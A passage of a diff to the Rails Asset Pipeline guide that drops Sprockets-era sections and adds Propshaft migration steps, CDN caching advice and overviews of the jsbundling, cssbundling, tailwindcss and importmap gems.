-"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414,
-"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}},
-"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js",
-"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css",
-"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico",
-"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}}
-```
-
-The default location for the manifest is the root of the location specified in
-`config.assets.prefix` ('/assets' by default).
-
-NOTE: If there are missing precompiled files in production you will get an
-`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError`
-exception indicating the name of the missing file(s).
+NOTE: Always ensure that the expected compiled filenames end with `.js` or
+`.css`.
 
-#### Far-future Expires Header
+##### Far-future Expires Header
 
 Precompiled assets exist on the file system and are served directly by your web
 server. They do not have far-future headers by default, so to get the benefit of
@@ -780,7 +542,7 @@ headers.
 For Apache:
 
 ```apache
-# The Expires* directives requires the Apache module
+# The Expires* directives require the Apache module
 # `mod_expires` to be enabled.
 <Location /assets/>
   # Use of ETag is discouraged when Last-Modified is present
@@ -803,79 +565,10 @@ location ~ ^/assets/ {
 }
 ```
 
-### Local Precompilation
-
-There are several reasons why you might want to precompile your assets locally.
-Among them are:
-
-* You may not have write access to your production file system.
-* You may be deploying to more than one server, and want to avoid
-duplication of work.
-* You may be doing frequent deploys that do not include asset changes.
-
-Local compilation allows you to commit the compiled files into source control,
-and deploy as normal.
-
-There are three caveats:
-
-* You must not run the Capistrano deployment task that precompiles assets.
-* You must ensure any necessary compressors or minifiers are
-available on your development system.
-* You must change the following application configuration setting:
-
-In `config/environments/development.rb`, place the following line:
-
-```ruby
-config.assets.prefix = "/dev-assets"
-```
-
-The `prefix` change makes Sprockets use a different URL for serving assets in
-development mode, and pass all requests to Sprockets. The prefix is still set to
-`/assets` in the production environment. Without this change, the application
-would serve the precompiled assets from `/assets` in development, and you would
-not see any local changes until you compile assets again.
-
-In practice, this will allow you to precompile locally, have those files in your
-working tree, and commit those files to source control when needed.  Development
-mode will work as expected.
-
-### Live Compilation
-
-In some circumstances you may wish to use live compilation. In this mode all
-requests for assets in the pipeline are handled by Sprockets directly.
-
-To enable this option set:
-
-```ruby
-config.assets.compile = true
-```
-
-On the first request the assets are compiled and cached as outlined in
-development above, and the manifest names used in the helpers are altered to
-include the SHA256 hash.
-
-Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This
-signals all caches between your server and the client browser that this content
-(the file served) can be cached for 1 year. The effect of this is to reduce the
-number of requests for this asset from your server; the asset has a good chance
-of being in the local browser cache or some intermediate cache.
-
-This mode uses more memory, performs more poorly than the default and is not
-recommended.
-
-If you are deploying a production application to a system without any
-pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
-
-```ruby
-group :production do
-  gem 'therubyracer'
-end
-```
-
-### CDNs
+#### CDNs
 
 CDN stands for [Content Delivery
-Network](http://en.wikipedia.org/wiki/Content_delivery_network), they are
+Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are
 primarily designed to cache assets all over the world so that when a browser
 requests the asset, a cached copy will be geographically close to that browser.
 If you are serving assets directly from your Rails server in production, the
@@ -883,26 +576,25 @@ best practice is to use a CDN in front of your application.
 
 A common pattern for using a CDN is to set your production application as the
 "origin" server. This means when a browser requests an asset from the CDN and
-there is a cache miss, it will grab the file from your server on the fly and
-then cache it. For example if you are running a Rails application on
-`example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`,
-then when a request is made to `mycdnsubdomain.fictional-
-cdn.com/assets/smile.png`, the CDN will query your server once at
-`example.com/assets/smile.png` and cache the request. The next request to the
-CDN that comes in to the same URL will hit the cached copy. When the CDN can
-serve an asset directly the request never touches your Rails server. Since the
-assets from a CDN are geographically closer to the browser, the request is
-faster, and since your server doesn't need to spend time serving assets, it can
-focus on serving application code as fast as possible.
-
-#### Set up a CDN to Serve Static Assets
-
-To set up your CDN you have to have your application running in production on
-the internet at a publicly available URL, for example `example.com`. Next
-you'll need to sign up for a CDN service from a cloud hosting provider. When you
-do this you need to configure the "origin" of the CDN to point back at your
-website `example.com`, check your provider for documentation on configuring the
-origin server.
+there is a cache miss, it will instead source the file from your server and then
+cache it. For example if you are running a Rails application on `example.com`
+and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`, then when a
+request is made to `mycdnsubdomain.fictional-cdn.com/assets/smile.png`, the CDN
+will query your server once at `example.com/assets/smile.png` and cache the
+request. The next request to the CDN that comes in to the same URL will hit the
+cached copy. When the CDN can serve an asset directly the request never touches
+your Rails server. Since the assets from a CDN are geographically closer to the
+browser, the request is faster, and since your server doesn't need to spend time
+serving assets, it can focus on serving application code.
+
+##### Set up a CDN to Serve Static Assets
+
+To set up CDN, your application needs to be running in production on the
+internet at a publicly available URL, for example `example.com`. Next you'll
+need to sign up for a CDN service from a cloud hosting provider. When you do
+this you need to configure the "origin" of the CDN to point back at your website
+`example.com`. Check your provider for documentation on configuring the origin
+server.
 
 The CDN you provisioned should give you a custom subdomain for your application
 such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a
@@ -910,11 +602,11 @@ valid CDN provider at the time of this writing). Now that you have configured
 your CDN server, you need to tell browsers to use your CDN to grab assets
 instead of your Rails server directly. You can do this by configuring Rails to
 set your CDN as the asset host instead of using a relative path. To set your
-asset host in Rails, you need to set `config.action_controller.asset_host` in
+asset host in Rails, you need to set [`config.asset_host`][] in
 `config/environments/production.rb`:
 
 ```ruby
-config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com'
+config.asset_host = "mycdnsubdomain.fictional-cdn.com"
 ```
 
 NOTE: You only need to provide the "host", this is the subdomain and root
@@ -923,70 +615,69 @@ domain, you do not need to specify a protocol or "scheme" such as `http://` or
 that is generated will match how the webpage is accessed by default.
 
 You can also set this value through an [environment
-variable](http://en.wikipedia.org/wiki/Environment_variable) to make running a
+variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a
 staging copy of your site easier:
 
+```ruby
+config.asset_host = ENV["CDN_HOST"]
 ```
-config.action_controller.asset_host = ENV['CDN_HOST']
-```
-
 
-
-Note: You would need to set `CDN_HOST` on your server to `mycdnsubdomain
+NOTE: You would need to set `CDN_HOST` on your server to `mycdnsubdomain
 .fictional-cdn.com` for this to work.
 
-Once you have configured your server and your CDN when you serve a webpage that
-has an asset:
+Once you have configured your server and your CDN, asset paths from helpers such
+as:
 
 ```erb
 <%= asset_path('smile.png') %>
 ```
 
-Instead of returning a path such as `/assets/smile.png` (digests are left out
-for readability). The URL generated will have the full path to your CDN.
-
-```
-http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
-```
+Will be rendered as full CDN URLs like
+`http://mycdnsubdomain.fictional-cdn.com/assets/smile.png` (digest omitted for
+readability).
 
-If the CDN has a copy of `smile.png` it will serve it to the browser and your
-server doesn't even know it was requested. If the CDN does not have a copy it
-will try to find it at the "origin" `example.com/assets/smile.png` and then store
-it for future use.
+If the CDN has a copy of `smile.png`, it will serve it to the browser,  and the
+origin server won't even know it was requested. If the CDN does not have a copy,
+it will try to find it at the "origin" `example.com/assets/smile.png`, and then
+store it for future use.
 
 If you want to serve only some assets from your CDN, you can use custom `:host`
-option your asset helper, which overwrites value set in
-`config.action_controller.asset_host`.
+option for your asset helper, which overwrites the value set in
+[`config.action_controller.asset_host`][].
 
 ```erb
 <%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>
 ```
 
-#### Customize CDN Caching Behavior
+[`config.action_controller.asset_host`]:
+    configuring.html#config-action-controller-asset-host
+[`config.asset_host`]: configuring.html#config-asset-host
+
+##### Customize CDN Caching Behavior
 
 A CDN works by caching content. If the CDN has stale or bad content, then it is
 hurting rather than helping your application. The purpose of this section is to
-describe general caching behavior of most CDNs, your specific provider may
+describe general caching behavior of most CDNs. Your specific provider may
 behave slightly differently.
 
-##### CDN Request Caching
+**CDN Request Caching**
 
-While a CDN is described as being good for caching assets, in reality caches the
-entire request. This includes the body of the asset as well as any headers. The
-most important one being `Cache-Control` which tells the CDN (and web browsers)
-how to cache contents. This means that if someone requests an asset that does
-not exist `/assets/i-dont-exist.png` and your Rails application returns a 404,
-then your CDN will likely cache the 404 page if a valid `Cache-Control` header
-is present.
+While a CDN is described as being good for caching assets, it actually caches
+the entire request. This includes the body of the asset as well as any headers.
+The most important one being `Cache-Control`, which tells the CDN (and web
+browsers) how to cache contents. This means that if someone requests an asset
+that does not exist, such as `/assets/i-dont-exist.png`, and your Rails
+application returns a 404, then your CDN will likely cache the 404 page if a
+valid `Cache-Control` header is present.
 
-##### CDN Header Debugging
+**CDN Header Debugging**
 
 One way to check the headers are cached properly in your CDN is by using [curl](
-http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You
+https://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You
 can request the headers from both your server and your CDN to verify they are
 the same:
 
-```
+```bash
 $ curl -I http://www.example/assets/application-
 d0e099e021c95eb0de3615fd1d8c4d83.css
 HTTP/1.1 200 OK
@@ -1000,9 +691,9 @@ Content-Length: 126560
 Via: 1.1 vegur
 ```
 
-Versus the CDN copy.
+Versus the CDN copy:
 
-```
+```bash
 $ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
 d0e099e021c95eb0de3615fd1d8c4d83.css
 HTTP/1.1 200 OK Server: Cowboy Last-
@@ -1027,33 +718,35 @@ X-Timer: S1408912125.211638212,VS0,VE0
 Check your CDN documentation for any additional information they may provide
 such as `X-Cache` or for any additional headers they may add.
 
-##### CDNs and the Cache-Control Header
+**CDNs and the Cache-Control Header**
 
-The [cache control
-header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C
-specification that describes how a request can be cached. When no CDN is used, a
-browser will use this information to cache contents. This is very helpful for
-assets that are not modified so that a browser does not need to re-download a
-website's CSS or JavaScript on every request. Generally we want our Rails server
-to tell our CDN (and browser) that the asset is "public", that means any cache
-can store the request. Also we commonly want to set `max-age` which is how long
-the cache will store the object before invalidating the cache. The `max-age`
-value is set to seconds with a maximum possible value of `31536000` which is one
-year. You can do this in your Rails application by setting
+The [`Cache-Control`][] header describes how a request can be cached. When no
+CDN is used, a browser will use this information to cache contents. This is very
+helpful for assets that are not modified so that a browser does not need to
+re-download a website's CSS or JavaScript on every request. Generally we want
+our Rails server to tell our CDN (and browser) that the asset is "public". That
+means any cache can store the request. Also we commonly want to set `max-age`
+which is how long the cache will store the object before invalidating the cache.
+The `max-age` value is set to seconds with a maximum possible value of
+`31536000`, which is one year. You can do this in your Rails application by
+setting
 
-```
+```ruby
 config.public_file_server.headers = {
-  'Cache-Control' => 'public, max-age=31536000'
+  "Cache-Control" => "public, max-age=31536000"
 }
 ```
 
 Now when your application serves an asset in production, the CDN will store the
 asset for up to a year. Since most CDNs also cache headers of the request, this
-`Cache-Control` will be passed along to all future browsers seeking this asset,
-the browser then knows that it can store this asset for a very long time before
+`Cache-Control` will be passed along to all future browsers seeking this asset.
+The browser then knows that it can store this asset for a very long time before
 needing to re-request it.
 
-##### CDNs and URL based Cache Invalidation
+[`Cache-Control`]:
+    https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
+
+**CDNs and URL-based Cache Invalidation**
 
 Most CDNs will cache contents of an asset based on the complete URL. This means
 that a request to
@@ -1077,237 +770,366 @@ each asset will have a different file name when it is changed. This way you
 don't have to ever manually invalidate any items in your cache. By using a
 different unique asset name instead, your users get the latest asset.
 
-Customizing the Pipeline
-------------------------
-
-### CSS Compression
-
-One of the options for compressing CSS is YUI. The [YUI CSS
-compressor](http://yui.github.io/yuicompressor/css.html) provides
-minification.
-
-The following line enables YUI compression, and requires the `yui-compressor`
-gem.
-
-```ruby
-config.assets.css_compressor = :yui
-```
-The other option for compressing CSS if you have the sass-rails gem installed is
-
-```ruby
-config.assets.css_compressor = :sass
-```
-
-### JavaScript Compression
-
-Possible options for JavaScript compression are `:closure`, `:uglifier` and
-`:yui`. These require the use of the `closure-compiler`, `uglifier` or
-`yui-compressor` gems, respectively.
-
-The default Gemfile includes [uglifier](https://github.com/lautis/uglifier).
-This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for
-NodeJS) in Ruby. It compresses your code by removing white space and comments,
-shortening local variable names, and performing other micro-optimizations such
-as changing `if` and `else` statements to ternary operators where possible.
+Sprockets to Propshaft
+-------------------------------------
 
-The following line invokes `uglifier` for JavaScript compression.
-
-```ruby
-config.assets.js_compressor = :uglifier
-```
-
-NOTE: You will need an [ExecJS](https://github.com/rails/execjs#readme)
-supported runtime in order to use `uglifier`. If you are using Mac OS X or
-Windows you have a JavaScript runtime installed in your operating system.
-
-
-
-### Serving GZipped version of assets
-
-By default, gzipped version of compiled assets will be generated, along with
-the non-gzipped version of assets. Gzipped assets help reduce the transmission
-of data over the wire. You can configure this by setting the `gzip` flag.
-
-```ruby
-config.assets.gzip = false # disable gzipped assets generation
-```
-
-### Using Your Own Compressor
-
-The compressor config settings for CSS and JavaScript also take any object.
-This object must have a `compress` method that takes a string as the sole
-argument and it must return a string.
-
-```ruby
-class Transformer
-  def compress(string)
-    do_something_returning_a_string(string)
-  end
-end
-```
+### Evolution of Asset Management Techniques
 
-To enable this, pass a new object to the config option in `application.rb`:
-
-```ruby
-config.assets.css_compressor = Transformer.new
-```
-
-
-### Changing the _assets_ Path
-
-The public path that Sprockets uses by default is `/assets`.
-
-This can be changed to something else:
+Within the last few years, the evolution of the web has led to significant
+changes that have influenced how assets are managed in web applications. These
+include:
 
-```ruby
-config.assets.prefix = "/some_other_path"
-```
+1. **Browser Support**: Modern browsers have improved support for new features
+   and syntax, reducing the need for transpilation and polyfills.
+2. **HTTP/2**: The introduction of HTTP/2 has made it easier to serve multiple
+   files in parallel, reducing the need for bundling.
+3. **ES6+**: Modern JavaScript syntax (ES6+) is supported by most modern
+   browsers, reducing the need for transpilation.
 
-This is a handy option if you are updating an older project that didn't use the
-asset pipeline and already uses this path or you wish to use this path for
-a new resource.
+Therefore, the asset pipeline powered by Propshaft, no longer includes
+transpilation, bundling, or compression by default. However, fingerprinting
+still remains an integral part. You can read more about the evolution of asset
+management techniques and how they directed the change from Sprockets to
+Propshaft below.
 
-### X-Sendfile Headers
+#### Transpilation �
 
-The X-Sendfile header is a directive to the web server to ignore the response
-from the application, and instead serve a specified file from disk. This option
-is off by default, but can be enabled if your server supports it. When enabled,
-this passes responsibility for serving the file to the web server, which is
-faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file)
-on how to use this feature.
+Transpilation involves converting code from one language or format to another.
 
-Apache and NGINX support this option, which can be enabled in
-`config/environments/production.rb`:
+For example, converting TypeScript to JavaScript.
 
-```ruby
-# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
-# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
+```typescript
+const greet = (name: string): void => {
+  console.log(`Hello, ${name}!`);
+};
 ```
 
-WARNING: If you are upgrading an existing application and intend to use this
-option, take care to paste this configuration option only into `production.rb`
-and any other environments you define with production behavior (not
-`application.rb`).
-
-TIP: For further details have a look at the docs of your production web server:
-- [Apache](https://tn123.org/mod_xsendfile/)
-- [NGINX](http://wiki.nginx.org/XSendfile)
-
-Assets Cache Store
-------------------
-
-By default, Sprockets caches assets in `tmp/cache/assets` in development
-and production environments. This can be changed as follows:
+After transpilation, this code becomes:
 
-```ruby
-config.assets.configure do |env|
-  env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
-                                                { size: 32.megabytes })
-end
+```javascript
+const greet = (name) => {
+  console.log(`Hello, ${name}!`);
+};
 ```
 
-To disable the assets cache store:
-
-```ruby
-config.assets.configure do |env|
-  env.cache = ActiveSupport::Cache.lookup_store(:null_store)
-end
-```
+In the past, pre-processors like [Sass](https://sass-lang.com/) and
+[Less](https://lesscss.org/) were essential for CSS features such as variables
+and nesting. Today, modern CSS supports these natively, reducing the need for
+transpilation.
 
-Adding Assets to Your Gems
---------------------------
+#### Bundling �
 
-Assets can also come from external sources in the form of gems.
+Bundling combines multiple files into one to reduce the number of HTTP requests
+a browser needs to make to render a page.
 
-A good example of this is the `jquery-rails` gem which comes with Rails as the
-standard JavaScript library gem. This gem contains an engine class which
-inherits from `Rails::Engine`. By doing this, Rails is informed that the
-directory for this gem may contain assets and the `app/assets`, `lib/assets` and
-`vendor/assets` directories of this engine are added to the search path of
-Sprockets.
+For example, if your application has three JavaScript files:
 
-Making Your Library or Gem a Pre-Processor
-------------------------------------------
+- menu.js
+- cart.js
+- checkout.js
 
-Sprockets uses Processors, Transformers, Compressors, and Exporters to extend
-Sprockets functionality. Have a look at
-[Extending Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md)
-to learn more. Here we registered a preprocessor to add a comment to the end
-of text/css (.css) files.
+Bundling will merge these into a single application.js file.
 
-```ruby
-module AddComment
-  def self.call(input)
-    { data: input[:data] + "/* Hello From my sprockets extension */" }
-  end
-end
+```javascript
+// app/javascript/application.js
+// Contents of menu.js, cart.js, and checkout.js are combined here
 ```
 
-Now that you have a module that modifies the input data, it's time to register
-it as a preprocessor for your mime type.
-
-```ruby
-Sprockets.register_preprocessor 'text/css', AddComment
-```
+This was crucial with HTTP/1.1, which limited 6-8 simultaneous connections per
+domain. With HTTP/2, browsers fetch multiple files in parallel, making bundling
+less critical for modern applications.
 
-Upgrading from Old Versions of Rails
-------------------------------------
+#### Compression �
 
-There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is
-moving the files from `public/` to the new locations. See [Asset
-Organization](#asset-organization) above for guidance on the correct locations
-for different file types.
+Compression encodes files in a more efficient format to reduce their size
+further when delivered to users. A common technique is [Gzip
+compression](https://en.wikipedia.org/wiki/Gzip).
 
-Next will be avoiding duplicate JavaScript files. Since jQuery is the default
-JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js`
-into `app/assets` and it will be included automatically.
+For example, a CSS file that's 200KB may compress to just 50KB when Gzipped.
+Browsers automatically decompress such files upon receipt, saving bandwidth and
+improving speed.
 
-The third is updating the various environment files with the correct default
-options.
+However, with CDNs automatically compressing assets, the need for manual
+compression has decreased.
 
-In `application.rb`:
+### Sprockets vs. Propshaft
 
-```ruby
-# Version of your assets, change this if you want to expire all your assets
-config.assets.version = '1.0'
+#### Load Order
 
-# Change the path that assets are served from config.assets.prefix = "/assets"
-```
+In Sprockets, you could link files together to ensure they loaded in the correct
+order. For example, a main JavaScript file that depended on other files would
+automatically have its dependencies managed by Sprockets, ensuring everything
+loaded in the right sequence. Propshaft, on the other hand, does not
+automatically handle these dependencies, and instead [lets you manage the asset
+load order manually](#asset-load-order).
 
-In `development.rb`:
+#### Versioning
 
-```ruby
-# Expands the lines which load the assets
-config.assets.debug = true
-```
+Sprockets simplifies asset fingerprinting by appending a hash to filenames
+whenever assets are updated, ensuring proper cache invalidation. With Propshaft,
+you’ll need to handle certain aspects manually. For example, while asset
+fingerprinting works, you might need to use a bundler or trigger transformations
+manually for JavaScript files to ensure filenames are updated correctly. Read
+more about [fingerprinting in
+Propshaft](#fingerprinting-versioning-with-digest-based-urls).
 
-And in `production.rb`:
+#### Precompilation
 
-```ruby
-# Choose the compressors to use (if any)
-config.assets.js_compressor = :uglifier
-# config.assets.css_compressor = :yui
+Sprockets processed assets that were explicitly included in a bundle. In
+contrast, Propshaft automatically processes all assets located in the specified
+paths, including images, stylesheets, JavaScript files, and more, without
+requiring explicit bundling. Read more about [asset
+digesting](#asset-digesting).
 
-# Don't fallback to assets pipeline if a precompiled asset is missed
-config.assets.compile = false
+### Migration Steps
 
-# Generate digests for assets URLs.
-config.assets.digest = true
+Propshaft is intentionally simpler than
+[Sprockets](https://github.com/rails/sprockets-rails), which may make migrating
+from Sprockets a fair amount of work. This is especially true if you rely on
+Sprockets for tasks like transpiling
+[TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/),
+or if you're using gems that provide this functionality. In such cases, you'll
+either need to stop transpiling or switch to a Node.js-based transpiler, such as
+those provided by
+[`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or
+[`cssbundling-rails`](https://github.com/rails/cssbundling-rails). Read more
+about these in the [Advanced Asset Management
+section](#advanced-asset-management).
 
-# Precompile additional assets (application.js, application.css, and all
-# non-JS/CSS are already added)
-# config.assets.precompile += %w( admin.js admin.css )
-```
+However, if you're already using a Node-based setup to bundle JavaScript and
+CSS, Propshaft should integrate smoothly into your workflow. Since you won’t
+need an additional tool for bundling or transpiling, Propshaft will primarily
+handle asset digesting and serving.
 
-Rails 4 and above no longer set default config values for Sprockets in `test.rb`, so
-`test.rb` now requires Sprockets configuration. The old defaults in the test
-environment are: `config.assets.compile = true`, `config.assets.compress = false`,
-`config.assets.debug = false` and `config.assets.digest = false`.
+Some key steps in the migration include:
 
-The following should also be added to your `Gemfile`:
+1. Remove some gems using the following:
 
-```ruby
-gem 'sass-rails',   "~> 3.2.3"
-gem 'coffee-rails', "~> 3.2.1"
-gem 'uglifier'
-```
+    ```bash
+    bundle remove sprockets
+    bundle remove sprockets-rails
+    bundle remove sass-rails
+    ```
+
+2. Delete the `config/assets.rb` and `assets/config/manifest.js` files from your
+   project.
+
+3. If you've already upgraded to Rails 8, then Propshaft is already included in
+   your application. Otherwise, install it using `bundle add propshaft`.
+
+4. Remove the `config.assets.paths << Rails.root.join('app', 'assets')` line
+   from your `application.rb` file.
+
+5. Migrate asset helpers by replacing all instances of asset helpers in your CSS
+   files (e.g., `image_url`) with standard `url()` functions, keeping in mind
+   that Propshaft utilizes relative paths.
+   For example, `image_url("logo.png")` may become `url("/logo.png")`.
+
+6. If you're relying on Sprockets for transpiling, you'll need to switch to a
+   Node-based transpiler like Webpack, esbuild, or Vite. You can use the
+   `jsbundling-rails` and `cssbundling-rails` gems to integrate these tools into
+   your Rails application.
+
+For more information, you can read the [detailed guide on how to migrate from
+Sprockets to
+Propshaft](https://github.com/rails/propshaft/blob/main/UPGRADING.md).
+
+## Advanced Asset Management
+
+Over the years, there have been multiple default approaches for handling assets,
+and as the web evolved, we began to see more JavaScript-heavy applications. In
+The Rails Doctrine we believe that [The Menu Is
+Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on
+delivering a production-ready setup with modern browsers by default.
+
+There is no one-size-fits-all solution for the various JavaScript and CSS
+frameworks and extensions available. However, there are other bundling libraries
+in the Rails ecosystem that should empower you in cases where the default setup
+isn't enough.
+
+### `jsbundling-rails`
+
+[`jsbundling-rails`](https://github.com/rails/jsbundling-rails) is a gem that
+integrates modern JavaScript bundlers into your Rails application. It allows you
+to manage and bundle JavaScript assets with tools like [Bun](https://bun.sh),
+[esbuild](https://esbuild.github.io/), [rollup.js](https://rollupjs.org/), or
+[Webpack](https://webpack.js.org/), offering a runtime-dependent approach for
+developers seeking flexibility and performance.
+
+#### How `jsbundling-rails` Works
+
+1. After installation, it sets up your Rails app to use your chosen JavaScript
+   bundler.
+2. It creates a `build` script in your `package.json` file to compile your
+   JavaScript assets.
+3. During development, the `build:watch` script ensures live updates to your
+   assets as you make changes.
+4. In production, the gem ensures that JavaScript is built and included during
+   the precompilation step, reducing manual intervention. It hooks into Rails'
+   `assets:precompile` task to build JavaScript for all entry points during
+   deployment. This integration ensures that your JavaScript is production-ready
+   with minimal configuration.
+
+The gem automatically handles entry-point discovery - identifying the primary
+JavaScript files to bundle by following Rails conventions, typically looking in
+directories like `app/javascript/` and configuration. By adhering to Rails
+conventions, `jsbundling-rails` simplifies the process of integrating complex
+JavaScript workflows into Rails projects.
+
+#### When Should You Use It?
+
+`jsbundling-rails` is ideal for Rails applications that:
+
+- Require modern JavaScript features like ES6+, TypeScript, or JSX.
+- Need to leverage bundler-specific optimizations like tree-shaking, code
+  splitting, or minification.
+- Use `Propshaft` for asset management and need a reliable way to integrate
+  precompiled JavaScript with the broader Rails asset pipeline.
+- Utilize libraries or frameworks that depend on a build step. For example,
+  projects requiring transpilation—such as those using
+  [Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/),
+  or React JSX—benefit greatly from `jsbundling-rails`. These tools rely on a
+  build step, which the gem seamlessly supports.
+
+By integrating with Rails tools like `Propshaft` and simplifying JavaScript
+workflows, `jsbundling-rails` allows you to build rich, dynamic front-ends while
+staying productive and adhering to Rails conventions.
+
+### `cssbundling-rails`
+
+[`cssbundling-rails`](https://github.com/rails/cssbundling-rails) integrates
+modern CSS frameworks and tools into your Rails application. It allows you to
+bundle and process your stylesheets. Once processed, the resulting CSS is
+delivered via the Rails asset pipeline.
+
+#### How `cssbundling-rails` Works
+
+1. After installation, it sets up your Rails app to use your chosen CSS
+   framework or processor.
+2. It creates a `build:css` script in your `package.json` file to compile your
+   stylesheets.
+3. During development, a `build:css --watch` task ensures live updates to your
+   CSS as you make changes, providing a smooth and responsive workflow.
+4. In production, the gem ensures your stylesheets are compiled and ready for
+   deployment. During the `assets:precompile` step, it installs all
+   `package.json` dependencies via `bun`, `yarn`, `pnpm` or `npm` and runs the
+   `build:css` task to process your stylesheet entry points. The resulting CSS
+   output is then digested by the asset pipeline and copied into the
+   `public/assets` directory, just like other asset pipeline files.
+
+This integration simplifies the process of preparing production-ready styles
+while ensuring all your CSS is managed and processed efficiently.
+
+#### When Should You Use It?
+
+`cssbundling-rails` is ideal for Rails applications that:
+
+- Use CSS frameworks like [Tailwind CSS](https://tailwindcss.com/),
+  [Bootstrap](https://getbootstrap.com/), or [Bulma](https://bulma.io/) that
+  require processing during development or deployment.
+- Need advanced CSS capabilities such as custom preprocessing with
+  [PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/)
+  plugins.
+- Require seamless integration of processed CSS into the Rails asset pipeline.
+- Benefit from live updates to stylesheets during development with minimal
+  manual intervention.
+
+**NOTE**: Unlike [`dartsass-rails`](https://github.com/rails/dartsass-rails) or
+[`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails), which use
+standalone versions of [Dart Sass](https://sass-lang.com/) and [Tailwind
+CSS](https://tailwindcss.com/), `cssbundling-rails` introduces a Node.js
+dependency. This makes it a good choice for applications already relying on Node
+for JavaScript processing with gems like `jsbundling-rails`. However, if you're
+using [`importmap-rails`](https://github.com/rails/importmap-rails) for
+JavaScript and prefer to avoid Node.js, standalone alternatives like
+[`dartsass-rails`](https://github.com/rails/dartsass-rails) or
+[`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) offer a
+simpler setup.
+
+By integrating modern CSS workflows, automating production builds, and
+leveraging the Rails asset pipeline, `cssbundling-rails` enables developers to
+efficiently manage and deliver dynamic styles.
+
+### `tailwindcss-rails`
+
+[`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) is a wrapper
+gem that integrates [Tailwind CSS](https://tailwindcss.com/) into your Rails
+application. By bundling Tailwind CSS with a [standalone
+executable](https://tailwindcss.com/blog/standalone-cli), it eliminates the need
+for Node.js or additional JavaScript dependencies. This makes it a lightweight
+and efficient solution for styling Rails applications.
+
+#### How `tailwindcss-rails` Works
+
+1. When installed, by providing `--css tailwind` to the `rails new` command, the
+   gem generates a `tailwind.config.js` file for customizing your Tailwind setup
+   and a `stylesheets/application.tailwind.css` file for managing your CSS entry
+   points.
+2. Instead of relying on Node.js, the gem uses a precompiled Tailwind CSS
+   binary. This standalone approach allows you to process and compile CSS
+   without adding a JavaScript runtime to your project.
+3. During development, changes to your Tailwind configuration or CSS files are
+   automatically detected and processed. The gem rebuilds your stylesheets and
+   provides a `watch` process to automatically generate Tailwind output in
+   development.
+4. In production, the gem hooks into the `assets:precompile` task. It processes
+   your Tailwind CSS files and generates optimized, production-ready
+   stylesheets, which are then included in the asset pipeline. The output is
+   fingerprinted and cached for efficient delivery.
+
+#### When Should You Use It?
+
+`tailwindcss-rails` is ideal for Rails applications that:
+
+- Want to use [Tailwind CSS](https://tailwindcss.com/) without introducing a
+  Node.js dependency or JavaScript build tools.
+- Require a minimal setup for managing utility-first CSS frameworks.
+- Need to take advantage of Tailwind's powerful features like custom themes,
+  variants, and plugins without complex configuration.
+
+The gem works seamlessly with Rails' asset pipeline tools, like Propshaft,
+ensuring that your CSS is preprocessed, digested, and efficiently served in
+production environments.
+
+### `importmap-rails`
+
+[`importmap-rails`](https://github.com/rails/importmap-rails) enables a
+Node.js-free approach to managing JavaScript in Rails applications. It leverages
+modern browser support for [ES
+Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)
+to load JavaScript directly in the browser without requiring bundling or
+transpilation. This approach aligns with Rails' commitment to simplicity and
+convention over configuration.
+
+#### How `importmap-rails` Works
+
+- After installation, `importmap-rails` configures your Rails app to use
+  `<script type="module">` tags to load JavaScript modules directly in the
+  browser.
+- JavaScript dependencies are managed using the `bin/importmap` command, which
+  pins modules to URLs, typically hosted on CDNs like
+  [jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready
+  versions of libraries. This eliminates the need for `node_modules` or a
+  package manager.
+- During development, there’s no bundling step, so updates to your JavaScript
+  are instantly available, streamlining the workflow.
+- In production, the gem integrates with Propshaft to serve JavaScript files as
+  part of the asset pipeline. Propshaft ensures files are digested, cached, and
+  production-ready. Dependencies are versioned, fingerprinted, and efficiently
+  delivered without manual intervention.
